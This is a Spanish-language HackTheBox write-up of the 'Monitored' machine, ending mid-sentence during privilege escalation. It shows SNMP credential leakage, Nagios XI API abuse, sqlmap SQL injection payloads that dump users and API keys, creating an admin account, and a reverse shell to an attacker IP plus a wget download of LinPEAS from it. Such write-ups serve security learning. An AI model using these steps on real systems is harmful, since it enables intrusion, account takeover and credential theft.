Monitored – HackTheBox Link to heading
- OS: Linux
- Difficulty/Dificultad: Medium
- Plataforma: HackTheBox
User / Usuario Link to heading
Empezamos con un scan con Nmap
contra la máquina víctima, donde vemos los siguientes puertos abiertos: 22
SSH
, 80
HTTP
, 389
Lightweight Directory Access Protocol
(LDAP
), 443
HTTPs
y 5667
(un servicio, de momento, desconocido)
❯ sudo nmap -sVC -p22,80,389,443,5667 10.10.11.248 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-10 19:00 -04
Nmap scan report for 10.10.11.248
Host is up (0.21s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 61:e2:e7:b4:1b:5d:46:dc:3b:2f:91:38:e6:6d:c5:ff (RSA)
| 256 29:73:c5:a5:8d:aa:3f:60:a9:4a:a3:e5:9f:67:5c:93 (ECDSA)
|_ 256 6d:7a:f9:eb:8e:45:c2:02:6a:d5:8d:4d:b3:a3:37:6f (ED25519)
80/tcp open http Apache httpd 2.4.56
|_http-title: Did not follow redirect to https://nagios.monitored.htb/
|_http-server-header: Apache/2.4.56 (Debian)
389/tcp open ldap OpenLDAP 2.2.X - 2.3.X
443/tcp open ssl/http Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
| ssl-cert: Subject: commonName=nagios.monitored.htb/organizationName=Monitored/stateOrProvinceName=Dorset/countryName=UK
| Not valid before: 2023-11-11T21:46:55
|_Not valid after: 2297-08-25T21:46:55
|_http-title: Nagios XI
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
5667/tcp open tcpwrapped
Service Info: Host: nagios.monitored.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.86 seconds
Mirando el scan al puerto 80
HTTP
el servicio redirige a nagios.monitored.htb
. De manera que agregamos este dominio a nuestro archivo /etc/hosts
de nuestra máquina Linux:
❯ sudo echo '10.10.11.248 monitored.htb nagios.monitored.htb' >> /etc/hosts
donde 10.10.11.248
es la IP de la máquina víctima.
Esta máquina también presenta puertos UDP
abiertos:
❯ sudo nmap -sUV -p123,161 10.10.11.248 -oN targeted_UDP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-10 19:47 -04
Nmap scan report for monitored.htb (10.10.11.248)
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
123/udp open ntp NTP v4 (unsynchronized)
161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)
Service Info: Host: monitored
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.24 seconds
con el puerto 161
corriendo el servicio Simple Network Management Protocol
(SNMP
).
Visitando https://nagios.monitored.htb
podemos ver una página web:
El server está, aparentemente, corriendo Nagios XI
, un software utilizado para el monitoreo de actividades.
Nagios XI
es una interfaz extendida de Nagios Core
. Nagios
es un sistema de monitorización de redes ampliamente utilizado, de código abierto, que vigila los equipos y servicios que se especifiquen, alertando cuando el comportamiento de los mismos no sea el deseado.Clickeando en Access Nagios XI
en esta página web nos lleva a un panel de login:
Buscando en internet por credenciales por defecto para Nagios XI
encontramos que son root:nagiosxi
. Pero no funcionan en este panel de login. Otras típicas credenciales como admin:admin
o guest:guest
tampoco funcionan.
En este punto, dado que no tenemos ninguna credencial válida, intentamos realizar un Brute Force Directory Listing
usando Gobuster
:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u https://nagios.monitored.htb/nagiosxi/ -x php -t 55 -k
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://nagios.monitored.htb/nagiosxi/
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 302) [Size: 27] [--> https://nagios.monitored.htb/nagiosxi/login.php?redirect=/nagiosxi/index.php%3f&noauth=1]
/images (Status: 301) [Size: 340] [--> https://nagios.monitored.htb/nagiosxi/images/]
/about (Status: 301) [Size: 339] [--> https://nagios.monitored.htb/nagiosxi/about/]
/.php (Status: 403) [Size: 286]
/login.php (Status: 200) [Size: 26575]
/help (Status: 301) [Size: 338] [--> https://nagios.monitored.htb/nagiosxi/help/]
/tools (Status: 301) [Size: 339] [--> https://nagios.monitored.htb/nagiosxi/tools/]
/mobile (Status: 301) [Size: 340] [--> https://nagios.monitored.htb/nagiosxi/mobile/]
/admin (Status: 301) [Size: 339] [--> https://nagios.monitored.htb/nagiosxi/admin/]
/reports (Status: 301) [Size: 341] [--> https://nagios.monitored.htb/nagiosxi/reports/]
/account (Status: 301) [Size: 341] [--> https://nagios.monitored.htb/nagiosxi/account/]
/includes (Status: 301) [Size: 342] [--> https://nagios.monitored.htb/nagiosxi/includes/]
/install.php (Status: 302) [Size: 0] [--> https://nagios.monitored.htb/nagiosxi/]
/backend (Status: 301) [Size: 341] [--> https://nagios.monitored.htb/nagiosxi/backend/]
/db (Status: 301) [Size: 336] [--> https://nagios.monitored.htb/nagiosxi/db/]
/api (Status: 301) [Size: 337] [--> https://nagios.monitored.htb/nagiosxi/api/]
/upgrade.php (Status: 302) [Size: 0] [--> index.php]
/config (Status: 301) [Size: 340] [--> https://nagios.monitored.htb/nagiosxi/config/]
/suggest.php (Status: 200) [Size: 27]
/views (Status: 301) [Size: 339] [--> https://nagios.monitored.htb/nagiosxi/views/]
/sounds (Status: 403) [Size: 286]
/rr.php (Status: 302) [Size: 0] [--> login.php]
/terminal (Status: 200) [Size: 5215]
/.php (Status: 403) [Size: 286]
Progress: 441120 / 441122 (100.00%)
===============================================================
Finished
===============================================================
Visitando https://nagios.monitored.htb/nagiosxi/terminal/
muestra una especie de terminal que pide un usuario y contraseña:
de manera que no es interesante de momento, ya que no tenemos credenciales.
De vuelta a los puertos corriendo por protocolo UDP
, chequeando los mensajes por SNMP
con snmpwalk
podemos ver lo siguiente:
❯ snmpwalk -v 2c -c public 10.10.11.248
iso.3.6.1.2.1.1.1.0 = STRING: "Linux monitored 5.10.0-28-amd64 #1 SMP Debian 5.10.209-2 (2024-01-31) x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (434466) 1:12:24.66
iso.3.6.1.2.1.1.4.0 = STRING: "Me <root@monitored.htb>"
iso.3.6.1.2.1.1.5.0 = STRING: "monitored"
iso.3.6.1.2.1.1.6.0 = STRING: "Sitting on the Dock of the Bay"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
iso.3.6.1.2.1.1.8.0 = Timeticks: (1581) 0:00:15.81
<SNIP>
pero esto demora demasiado. Podemos realizar esto más rápido corriendo snmpbulkwalk
, guardando todo el output en un archivo llamado snmpbulk-output.txt
:
❯ snmpbulkwalk -Cr1000 -c public -v2c 10.10.11.248 > snmpbulk-output.txt
Si reviso el archivo creado con cat
puedo, eventualmente, ver algo interesante:
❯ cat snmpbulk-output.txt
iso.3.6.1.2.1.1.1.0 = STRING: "Linux monitored 5.10.0-28-amd64 #1 SMP Debian 5.10.209-2 (2024-01-31) x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (451621) 1:15:16.21
iso.3.6.1.2.1.1.4.0 = STRING: "Me <root@monitored.htb>"
iso.3.6.1.2.1.1.5.0 = STRING: "monitored"
iso.3.6.1.2.1.1.6.0 = STRING: "Sitting on the Dock of the Bay"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
iso.3.6.1.2.1.1.8.0 = Timeticks: (1581) 0:00:15.81
<SNIP>
iso.3.6.1.2.1.25.4.2.1.5.1379 = STRING: "-d /usr/local/nagios/etc/nagios.cfg"
iso.3.6.1.2.1.25.4.2.1.5.1420 = STRING: "-u svc /bin/bash -c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB"
iso.3.6.1.2.1.25.4.2.1.5.1421 = STRING: "-c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB"
iso.3.6.1.2.1.25.4.2.1.5.1433 = STRING: "-bd -q30m"
<SNIP>
donde tenemos un usuario y una contraseña: svc:XjH7VCehowpR1xZB
Usando estas credenciales en https://nagios.monitored.htb/nagiosxi/login.php
(el panel de login) no funciona:
No obstante, noto que el mensaje mostrado de la página es distinto a cuando proveía usuario y contraseñas incorrectas:
de manera que asumo que el usuario svc
existe.
De vuelta a los directorios encontrados con Gobuster
, el directorio /api
, y luego de aplicar algo más de fuerza bruta con los directorios, lleva a la dirección https://nagios.monitored.htb/nagiosxi/api/v1/authenticate/
:
donde usando cURL
con el método POST
tenemos:
❯ curl -s -X POST 'https://nagios.monitored.htb/nagiosxi/api/v1/authenticate' --insecure
{"error":"Must be valid username and password."}
De manera que, aparentemente, el servicio está preguntando por los campos username
(usuario) y password
(contraseña). Podemos tratar de usar la data que habíamos encontrado previamente por SNMP
usando cURL
también:
❯ curl -s -X POST 'https://nagios.monitored.htb/nagiosxi/api/v1/authenticate' --insecure -d 'username=svc&password=XjH7VCehowpR1xZB'
{"username":"svc","user_id":"2","auth_token":"eebd2c4f308f2ec54f93a4392e75a5a5d952bf50","valid_min":5,"valid_until":"Fri, 10 May 2024 20:42:26 -0400"}
donde podemos ver un auth_token
el cual podemos extraer.
Chequeando la documentación de Nagios XI podemos ver que para interactuar con los tokens podemos visitar:
https://localhost:5693/api?token=mytoken
Luego de jugar con los parámetros, proveer el token extraído de la API, y probar algunas cosas, la siguiente página funciona:
❯ curl -s --insecure 'https://nagios.monitored.htb/nagiosxi/login.php?token=eebd2c4f308f2ec54f93a4392e75a5a5d952bf50'
<!DOCTYPE html>
<!-- <!DOCTYPE html> -->
<SNIP>
y visitando la página web del servidor víctima https://nagios.monitored.htb/nagiosxi/login.php?token=eebd2c4f308f2ec54f93a4392e75a5a5d952bf50
desde el browser de Firefox
muestra un nuevo panel:
Ahora que estamos logueados es que busco por vulnerabilidades para Nagios XI
, más específicamente para la versión 5.11.0
(como se puede ver a la esquina inferior izquierda de la última imagen). Encontramos este post el cual indica un par de potenciales SQL Injection
basadas en la ruta:
/nagiosxi/admin/banner_message-ajaxhelper.php
basada en el parámetro id
(punto 3 del post) con la acción update_banner_message_settings
.
Usamos SQLMap
contra esta ruta. Primero, obtengo la cookie nagiosxi
yendo a mi navegador de Firefox
, luego a Inspect > Storage
y obtengo la cookie. En mi caso, la cookie es dkkthk9urkl17li0bsrn5r2t96
. Luego le paso toda la data necesaria al prompt de SQLMap
:
❯ sqlmap -u 'https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3' -p 'id' --cookie='nagiosxi=dkkthk9urkl17li0bsrn5r2t96' --batch
<SNIP>
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 261 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: action=acknowledge_banner_message&id=(SELECT (CASE WHEN (4806=4806) THEN 3 ELSE (SELECT 7441 UNION SELECT 9346) END))
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: action=acknowledge_banner_message&id=3 OR (SELECT 2606 FROM(SELECT COUNT(*),CONCAT(0x7176766b71,(SELECT (ELT(2606=2606,1))),0x716b706271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: action=acknowledge_banner_message&id=3 AND (SELECT 7051 FROM (SELECT(SLEEP(5)))xZsL)
---
[21:54:21] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.56
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
<SNIP>
Luego, reviso las bases de datos/databases usando la flag --dbs
:
❯ sqlmap -u 'https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3' -p 'id' --cookie='nagiosxi=dkkthk9urkl17li0bsrn5r2t96' --batch --dbs
<SNIP>
available databases [2]:
[*] information_schema
[*] nagiosxi
<SNIP>
Extraigo las tablas de la base de datos nagiosxi
:
❯ sqlmap -u 'https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3' -p 'id' --cookie='nagiosxi=dkkthk9urkl17li0bsrn5r2t96' --batch -D nagiosxi --tables
<SNIP>
Database: nagiosxi
[22 tables]
+-----------------------------+
| xi_auditlog |
| xi_auth_tokens |
| xi_banner_messages |
| xi_cmp_ccm_backups |
| xi_cmp_favorites |
| xi_cmp_nagiosbpi_backups |
| xi_cmp_scheduledreports_log |
| xi_cmp_trapdata |
| xi_cmp_trapdata_log |
| xi_commands |
| xi_deploy_agents |
| xi_deploy_jobs |
| xi_eventqueue |
| xi_events |
| xi_link_users_messages |
| xi_meta |
| xi_mibs |
| xi_options |
| xi_sessions |
| xi_sysstat |
| xi_usermeta |
| xi_users |
+-----------------------------+
<SNIP>
Y dumpeo/extraigo todo el contenido de la tabla xi_users
:
❯ sqlmap -u 'https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3' -p 'id' --cookie='nagiosxi=dkkthk9urkl17li0bsrn5r2t96' --batch -D nagiosxi -T xi_users --dump
<SNIP>
Database: nagiosxi
Table: xi_users
[2 entries]
+---------+---------------------+----------------------+------------------------------------------------------------------+---------+--------------------------------------------------------------+-------------+------------+------------+-------------+-------------+--------------+--------------+------------------------------------------------------------------+----------------+----------------+----------------------+
| user_id | email | name | api_key | enabled | password | username | created_by | last_login | api_enabled | last_edited | created_time | last_attempt | backend_ticket | last_edited_by | login_attempts | last_password_change |
+---------+---------------------+----------------------+------------------------------------------------------------------+---------+--------------------------------------------------------------+-------------+------------+------------+-------------+-------------+--------------+--------------+------------------------------------------------------------------+----------------+----------------+----------------------+
| 1 | admin@monitored.htb | Nagios Administrator | IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL | 1 | $2a$10$825c1eec29c150b118fe7unSfxq80cf7tHwC0J0BG2qZiNzWRUx2C | nagiosadmin | 0 | 1701931372 | 1 | 1701427555 | 0 | 0 | IoAaeXNLvtDkH5PaGqV2XZ3vMZJLMDR0 | 5 | 0 | 1701427555 |
| 2 | svc@monitored.htb | svc | 2huuT2u2QIPqFuJHnkPEEuibGJaJIcHCFDpDb29qSFVlbdO4HJkjfg2VpDNE3PEK | 0 | $2a$10$12edac88347093fcfd392Oun0w66aoRVCrKMPBydaUfgsgAOUHSbK | svc | 1 | 1699724476 | 1 | 1699728200 | 1699634403 | 1715386179 | 6oWBPbarHY4vejimmu3K8tpZBNrdHpDgdUEs5P2PFZYpXSuIdrRMYgk66A0cjNjq | 1 | 4 | 1699697433 |
+---------+---------------------+----------------------+------------------------------------------------------------------+---------+--------------------------------------------------------------+-------------+------------+------------+-------------+-------------+--------------+--------------+------------------------------------------------------------------+----------------+----------------+----------------------+
<SNIP>
Donde obtenemos usuarios y hashes de contraseñas. Trato de crackear estas contraseñas, pero no obtengo nada.
Noto que, además de contraseñas, tenemos un parámetro llamado api_key
, el cual es IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL
para el usuario admin
.
Basado en los endpoints de API que hemos encontrado previamente, además de lo especificado en la documentación de Nagios XI
mostrada previamente, la api_key
puede ser requerida en:
/nagiosxi/api/vi/admin?apikey=<API-KEY>
Si uso la api_key
encontrada/dumpeada de la base de datos SQL
del usuario svc
con cURL
tenemos:
❯ curl -s 'https://nagios.monitored.htb/nagiosxi/api/v1/admin?apikey=2huuT2u2QIPqFuJHnkPEEuibGJaJIcHCFDpDb29qSFVlbdO4HJkjfg2VpDNE3PEK' --insecure
{"error":"Account is disabled"}
y si uso la api_key
del usuario admin
de la base de datos, tenemos:
❯ curl -s 'https://nagios.monitored.htb/nagiosxi/api/v1/admin?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL' --insecure
No Endpoint: admin
de manera que necesitamos encontrar un endpoint correcto para esta api_key
.
Siguiendo las instrucciones de este post de foro de Nagios XI podemos ver cómo crear nuevos usuarios. Más específicamente, la siguiente parte nos es de interés:
curl -XPOST "http://x.x.x.x/nagiosxi/api/v1/system/user?apikey=LTltbjobR0X3V5ViDIitYaI8hjsjoFBaOcWYukamF7oAsD8lhJRvSPWq8I3PjTf7&pretty=1" -d "username=jmcdouglas&password=test&name=Jordan%20McDouglas&email=jmcdouglas@localhost"
{
"success": "User account jmcdouglas was added successfully!",
"userid": 13
}
de manera que reemplazo el valor de apikey
con el valor hallado para el usuario admin
y agrego un usuario con credenciales gunzf0x:gunzf0x123
. Hago esto corriendo el siguiente comando con cURL
:
❯ curl -s -X POST --insecure 'https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL' -d 'username=gunzf0x&password=gunzf0x123&name=Tester&email=gunzf0x@htb.com'
{"success":"User account gunzf0x was added successfully!","user_id":6}
Puedo loguear con este usuario en https://nagios.monitored.htb/nagiosxi/login.php
(el panel de login de siempre). Me pide aceptar unos términos y condiciones (que obviamente leímos) y, posteriormente, cambiar nuestra contraseña. Una vez logueados simplemente veo el mismo panel de login que el usuario svc
. De manera que, similar a máquinas previas de HTB, podemos tratar de crear un usuario con privilegios de “admin” al momento de crear un usuario. Tal cual se explica en este post, podemos agregar el parámetro auth_level=admin
al momento de crear el usuario. De manera que creo un nuevo usuario llamado gunzf0x2
y la misma contraseña de antes, pero ahora con mayores privilegios.
❯ curl -s -X POST --insecure 'https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL' -d 'username=gunzf0x2&password=gunzf0x123&name=Tester&email=gunzf0x@htb.com&auth_level=admin'
{"success":"User account gunzf0x2 was added successfully!","user_id":7}
Noto, además, que puedo ver los usuarios creados visitando el siguiente endpoint, pero haciendo una petición por GET
:
❯ curl -s --insecure 'https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL' | jq
{
"records": 4,
"users": [
{
"user_id": "7",
"username": "gunzf0x2",
"name": "Tester",
"email": "gunzf0x@htb.com",
"enabled": "1"
},
{
"user_id": "6",
"username": "gunzf0x",
"name": "Tester",
"email": "gunzf0x@htb.com",
"enabled": "1"
},
{
"user_id": "2",
"username": "svc",
"name": "svc",
"email": "svc@monitored.htb",
"enabled": "0"
},
{
"user_id": "1",
"username": "nagiosadmin",
"name": "Nagios Administrator",
"email": "admin@monitored.htb",
"enabled": "1"
}
]
}
donde puedo ver mis 2 usuarios creados.
De manera que vuelvo al panel de login de siempre, pero esta vez me logueo con el segundo usuario agregado el cual debería tener privilegios de administrador en el servicio. Similar a la primera cuenta, la página nos pide aceptar algunos términos y condiciones (que obviamente volví a leer) y cambiar la contraseña. Hecho esto ahora noto que el panel que se muestra es levemente diferente al que tuvimos acceso:
Las principales diferencias es que ahora puedo ver las opciones Configure
y Admin
.
Yendo a Configure -> Core Config Manager
puedo ver algo como:
Si clickeamos en Commands
(Comandos) podemos ver múltiples tareas:
Clickeando en Add New
(Agregar Nuevo) agrego un nuevo comando llamado rev-shell
y agrego el siguiente contenido:
donde 10.10.16.6
es mi IP de atacante y 443
es el puerto por el cual empezaré a escuchar con netcat
. Además, noto que todos los comandos que ya han sido agregados previamente usan paths absolutos para los binarios, de manera que –para asegurarme de que funcione– agrego /bin/bash
en lugar de simplemente bash
.
Clickeo en Save
(Guardar) y, luego, de vuelta a la lista que muestra los comandos voy a la parte inferior de la página y clickeo en Apply Configuration
(Aplicar Configuración). Luego, vuelvo a Configure -> Core Config Manager
, pero esta vez realizamos click en Services
, Add-New
y creo un nuevo servicio:
Al final de esta página tenemos un botón Run Check Command
(Correr Comando de Chequeo). Al clickear en este me aparece una ventana emergente la cual muestra alguna información del comando:
Antes de volver a clickear en Run Check Command
en la ventana emergente, me pongo en escucha con netcat
en el puerto 443
. Una vez ya en escucha, clickeo en Run Check Command
y obtengo una shell como el usuario nagios
:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.248] 48276
bash: cannot set terminal process group (16894): Inappropriate ioctl for device
bash: no job control in this shell
nagios@monitored:~$ whoami
whoami
nagios
donde podemos obtener la flag de usuario en el mismo directorio /home
del usuario nagios
.
Root Link to heading
Decido pasar LinPEAS
(el cual puede ser obtenido desde su repositorio de Github) a la máquina víctima empezando un servidor HTTP
temporal de Python
en mi máquina en el puerto 8080
donde el archivo linpeas.sh
se encuentra localizado:
❯ ls && python3 -m http.server 8080
linpeas.sh
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
y lo descargo en la máquina víctima corriendo en ésta:
nagios@monitored:~$ wget http://10.10.16.6:8080/linpeas.sh
--2024-05-10 23:03:40-- http://10.10.16.6:8080/linpeas.sh
Connecting to 10.10.16.6:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 847815 (828K) [text/x-sh]
Saving to: ‘linpeas.sh’
linpeas.sh 100%[============================================================================>] 827.94K 111KB/s in 7.5s
2024-05-10 23:03:50 (111 KB/s) - ‘linpeas.sh’ saved [847815/847815]
nagios@monitored:~$ mv ./linpeas.sh /tmp/linpeas.sh
nagios@monitored:~$ chmod +x !$
chmod +x /tmp/linpeas.sh
nagios@monitored:~$ !$
/tmp/linpeas.sh
Del output de LinPEAS
puedo ver algo interesante:
╔══════════╣ Readable files belonging to root and readable by me but not world readable
-r-xr-x--- 1 root nagios 3820 Nov 9 2023 /usr/local/nagiosxi/scripts/manage_ssl_config.sh
-r-xr-x--- 1 root nagios 7861 Nov 9 2023 /usr/local/nagiosxi/scripts/backup_xi.sh
-r-xr-x--- 1 root nagios 9615 Nov 9 2023 /usr/local/nagiosxi/scripts/pg2mysql/convert_nagiosxi_to_mysql.php
-r-xr-x--- 1 root nagios 6166 Nov 9 2023 /usr/local/nagiosxi/scripts/reset_config_perms.sh
-r-xr-x--- 1 root nagios 1654 Nov 9 2023 /usr/local/nagiosxi/scripts/repair_databases.sh
-r-xr-x--- 1 root nagios 1914 Nov 9 2023 /usr/local/nagiosxi/scripts/change_timezone.sh
-r-xr-x--- 1 root nagios 1270 Nov 9 2023 /usr/local/nagiosxi/scripts/import_xiconfig.php
-r-xr-x--- 1 root nagios 3917 Nov 9 2023 /usr/local/nagiosxi/scripts/manage_services.sh
-r-xr-x--- 1 root nagios 4153 Nov 9 2023 /usr/local/nagiosxi/scripts/repairmysql.sh
-r-xr-x--- 1 root nagios 2914 Nov 9 2023 /usr/local/nagiosxi/scripts/upgrade_to_latest.sh
-r-xr-x--- 1 root nagios 1534 Nov 9 2023 /usr/local/nagiosxi/scripts/send_to_nls.php
-r-xr-x--- 1 root nagios 281115 Nov 9 2023 /usr/local/nagiosxi/scripts/components/autodiscover_new.php
-r-xr-x--- 1 root nagios 16693 Nov 9 2023 /usr/local/nagiosxi/scripts/components/getprofile.sh
-r-xr-x--- 1 root nagios 6296 Nov 9 2023 /usr/local/nagiosxi/scripts/migrate/nagios_bundler.py
-r-xr-x--- 1 root nagios 8612 Nov 9 2023 /usr/local/nagiosxi/scripts/migrate/migrate.php
-r-xr-x--- 1 root nagios 18851 Nov 9 2023 /usr/local/nagiosxi/scripts/migrate/nagios_unbundler.py
-r-xr-x--- 1 root nagios 999 Nov 9 2023 /usr/local/nagiosxi/etc/xi-sys.cfg
-rw-r----- 1 root nagios 33 May 10 18:50 /home/nagios/user.txt
donde el archivo /usr/local/nagiosxi/scripts/manage_services.sh
se ve interesante.
Además, noto que este archivo puede correr sudo
como root
sin proporcionar contraseña:
╔══════════╣ Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
Matching Defaults entries for nagios on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User nagios may run the following commands on localhost:
(root) NOPASSWD: /etc/init.d/nagios start
(root) NOPASSWD: /etc/init.d/nagios stop
(root) NOPASSWD: /etc/init.d/nagios restart
(root) NOPASSWD: /etc/init.d/nagios reload
(root) NOPASSWD: /etc/init.d/nagios status
(root) NOPASSWD: /etc/init.d/nagios checkconfig
(root) NOPASSWD: /etc/init.d/npcd start
(root) NOPASSWD: /etc/init.d/npcd stop
(root) NOPASSWD: /etc/init.d/npcd restart
(root) NOPASSWD: /etc/init.d/npcd reload
(root) NOPASSWD: /etc/init.d/npcd status
(root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php *
(root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/send_to_nls.php *
(root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/migrate/migrate.php *
(root) NOPASSWD: /usr/local/nagiosxi/scripts/components/getprofile.sh
(root) NOPASSWD: /usr/local/nagiosxi/scripts/upgrade_to_latest.sh
(root) NOPASSWD: /usr/local/nagiosxi/scripts/change_timezone.sh
(root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_services.sh *
(root) NOPASSWD: /usr/local/nagiosxi/scripts/reset_config_perms.sh
(root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_ssl_config.sh *
(root) NOPASSWD: /usr/local/nagiosxi/scripts/backup_xi.sh *
Chequeando el archivo manage_services.sh
tenemos que este contiene:
#!/bin/bash
#
# Manage Services (start/stop/restart)
# Copyright (c) 2015-2020 Nagios Enterprises, LLC. All rights reserved.
#
# =====================
# Built to allow start/stop/restart of services using the proper method based on
# the actual version of operating system.
#
# Examples:
# ./manage_services.sh start httpd
# ./manage_services.sh restart mysqld
# ./manage_services.sh checkconfig nagios
#
BASEDIR=$(dirname $(readlink -f $0))
# Import xi-sys.cfg config vars
. $BASEDIR/../etc/xi-sys.cfg
# Things you can do
first=("start" "stop" "restart" "status" "reload" "checkconfig" "enable" "disable")
second=("postgresql" "httpd" "mysqld" "nagios" "ndo2db" "npcd" "snmptt" "ntpd" "crond" "shellinaboxd" "snmptrapd" "php-fpm")
# Helper functions
# -----------------------
contains () {
local array="$1[@]"
local seeking=$2
local in=1
for element in "${!array}"; do
if ` "$element" == "$seeking" `; then
in=0
break
fi
done
return $in
}
# Verify to avoid abuse
# -----------------------
# Check to verify the proper usage format
# ($1 = action, $2 = service name)
if ! contains first "$1"; then
echo "First parameter must be one of: ${first[*]}"
exit 1
fi
if ! contains second "$2"; then
echo "Second parameter must be one of: ${second[*]}"
exit 1
fi
action=$1
# if service name is defined in xi-sys.cfg use that name
# else use name passed
if [ "$2" != "php-fpm" ] && [ ! -z "${!2}" ];then
service=${!2}
else
service=$2
fi
# if the action is status, add -n 0 to args to stop journal output
# on CentOS/RHEL 7 systems
args=""
if [ "$action" == "status" ]; then
args="-n 0"
fi
# Special case for ndo2db since we don't use it anymore
if [ "$service" == "ndo2db" ]; then
echo "OK - Nagios XI 5.7 uses NDO3 build in and no longer uses the ndo2db service"
exit 0
fi
# Run the command
# -----------------------
# CentOS / Red Hat
if [ "$distro" == "CentOS" ] || [ "$distro" == "RedHatEnterpriseServer" ] || [ "$distro" == "EnterpriseEnterpriseServer" ] || [ "$distro" == "OracleServer" ]; then
# Check for enable/disable verb
if [ "$action" == "enable" ] || [ "$action" == "disable" ]; then
if [ `command -v systemctl` ]; then
`which systemctl` --no-pager "$action" "$service"
elif [ `command -v chkconfig` ]; then
chkconfig_path=`which chkconfig`
if [ "$action" == "enable" ]; then
"$chkconfig_path" --add "$service"
return_code=$?
elif [ "$action" == "disable" ]; then
"$chkconfig_path" --del "$service"
return_code=$?
fi
fi
exit $return_code
fi
if [ `command -v systemctl` ]; then
`which systemctl` --no-pager "$action" "$service" $args
return_code=$?
if [ "$service" == "mysqld" ] && [ $return_code -ne 0 ]; then
service="mariadb"
`which systemctl` "$action" "$service" $args
return_code=$?
fi
elif [ ! `command -v service` ]; then
"/etc/init.d/$service" "$action"
return_code=$?
else
`which service` "$service" "$action"
return_code=$?
fi
fi
# OpenSUSE / SUSE Enterprise
if [ "$distro" == "SUSE LINUX" ]; then
if [ "$dist" == "suse11" ]; then
`which service` "$service" "$action"
return_code=$?
fi
fi
# Ubuntu / Debian
if [ "$distro" == "Debian" ] || [ "$distro" == "Ubuntu" ]; then
# Adjust the shellinabox service, no trailing 'd' in Debian/Ubuntu
if [ "$service" == "shellinaboxd" ]; then
service="shellinabox"
fi
if [ `command -v systemctl` ]; then
`which systemctl` --no-pager "$action" "$service" $args
return_code=$?
else
`which service` "$service" "$action"
return_code=$?
fi
fi
# Others?
exit $return_code
Basados en los comentarios de uso del script, además del código en sí, este script parece parar, borrar, reiniciar e iniciar servicios dentro de la máquina.
Del output de LinPEAS
